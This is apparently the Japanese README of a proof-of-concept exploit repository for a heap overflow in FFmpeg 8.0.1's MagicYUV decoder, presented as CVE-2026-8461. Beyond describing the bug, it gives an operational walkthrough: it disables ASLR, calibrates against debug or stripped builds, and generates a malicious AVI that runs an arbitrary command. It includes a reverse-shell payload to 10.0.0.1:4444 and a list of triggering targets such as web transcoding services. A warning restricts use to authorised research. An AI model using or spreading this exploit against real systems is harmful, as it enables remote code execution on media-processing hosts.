
[!WARNING] このリポジトリには、ヒープ破壊の脆弱性に対する実動するエクスプロイト PoC が含まれています。 これは、許可されたセキュリティ研究、CTF コンテキスト、および防御的分析のみを目的としています。 自分が所有していないシステム、または明示的な書面による許可を得ていないシステムに対して使用しないでください。
影響を受けるバージョン: FFmpeg 8.0.1 MagicYUV デコーダー (libavcodec/magicyuv.c)
プリミティブ: ヒープ OOB 書き込み → AVBuffer.free の乗っ取り → system() 呼び出し
magy_decode_slice() は、Cb/Cr 出力プレーンへの書き込みのループ境界として sheight(クランプされていないスライス高さ)を使用しますが、バッファはクランプされた height を使用して割り当てます。特別に細工されたフレームの最後のスライスでは、ループが割り当て領域の終端を超えて書き込みを行います。
// magicyuv.c:291 — dst pointer is already at sheight×stride past buffer start
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // OOB write when sheight > height
この範囲外書き込みは、後続で割り当てられた AVBuffer 構造体に到達します。書き込むバイトを制御することで、AVBuffer.free が system() のアドレスで上書きされ、AVBuffer.opaque がヒープ上のコマンド文字列のアドレスで上書きされます。フレームが解放されると、av_buffer_unref() が system(cmd) を呼び出します。
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR disabled — required for calibration)
Python の依存関係: なし(標準ライブラリのみ)。
sudo sysctl -w kernel.randomize_va_space=0
デバッグビルド(-g 付きでコンパイル、例: --enable-debug 付きソースからビルド):
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
プロダクションビルド(ストリップ済み共有ライブラリ、例: apt install ffmpeg またはカスタム --enable-shared):
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
--aviのパスは、キャリブレーションとエクスプロイト配信の間で同一である必要があります。 パス文字列の長さを変更するとヒープレイアウトが変化し、キャリブレーションが無効になります。
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# Debug build (statically linked)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# Production build (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# System-installed FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
期待される出力: コマンドが実行され、その後プロセスが corrupted size vs. prev_size でクラッシュします。
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
Target FFmpeg binary
│
├─ Has debug symbols? (file ffmpeg | grep debug_info)
│ └─ YES → auto_calibrate.py
│
└─ Stripped / production
│
├─ Dynamically linked? (ldd ffmpeg | grep libavutil)
│ └─ YES → auto_calibrate_nosym.py
│
└─ Statically linked + fully stripped
└─ Neither script applies
(requires LD_PRELOAD malloc hook approach)
auto_calibrate_nosym.py は次のように動作します:
av_buffer_create(libavutil.so .dynsym に常に存在)にブレークポイントを設定し、ソースレベルのシンボルを必要とせずに Cb および Cr データポインタを取得します。AVBuffer 構造体を特定し、system() のアドレスを抽出します。このエクスプロイトは、ターゲットがビデオフレームをデコードしたときに発動します(単なるプローブでは発動しません):
コマンドを実行せずに脆弱性を実証するには:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# crashes with: free(): invalid pointer or corrupted size vs. prev_size
AVBuffer 構造体が Cb プレーンの OOB 開始アドレスの 640 バイト以内に配置される特定のヒープレイアウトに依存します。aarch64 では、glibc の割り当て順序により AVBuffer がその範囲外(隣接チャンクは約 10 KB の Cr バッファ)に配置されるため、現在のフレームジオメトリでは OOB 書き込みが到達できません。aarch64 への移植には、aarch64 のヒープレイアウトをプロファイリングし、フレームジオメトリをそれに合わせて調整する必要があります。kernel.randomize_va_space=0)。ASLR が有効な場合、ヒープアドレスは実行ごとにランダム化され、キャリブレーションは適用されません。ASLR 有効なターゲットに対応するには、情報漏えいプリミティブが必要です。auto_calibrate_nosym.py: libavutil.so にアクセス可能な動的リンク FFmpeg が必要です(システムパスまたは --libpath 経由)。| File | Description |
|---|
exploit_cve_2026_8461.py | エクスプロイト AVI 生成器 — 悪意のある MagicYUV ビットストリームを作成します |
auto_calibrate.py | デバッグビルド用の自動キャリブレーション(-g デバッグシンボルが必要) |
auto_calibrate_nosym.py | プロダクションビルド用の自動キャリブレーション(ストリップ済み、共有ライブラリ) |
CVE-2026-8461_Analysis_EN.md | 完全な脆弱性分析(英語) |
CVE-2026-8461_Analysis.md | 完全な脆弱性分析(中国語) |
ffmpeg_prod | ローカルテスト用のストリップ済みプロダクション FFmpeg 8.0.1 バイナリ |
| Invocation | Triggers RCE |
|---|
ffmpeg -i evil.avi -f null - | はい |
ffmpeg -i evil.avi -o out.mp4 | はい |
| Web トランスコーディングサービス (libavcodec デコードループ) | はい |
| libavcodec を使用するビデオプレーヤー | はい |
ffmpeg -i evil.avi (出力未指定) | いいえ — av_buffer_unref が発動する前にプロセスが異常終了します |
ffprobe evil.avi | いいえ — プローブ専用パスであり、完全なデコードは行われません |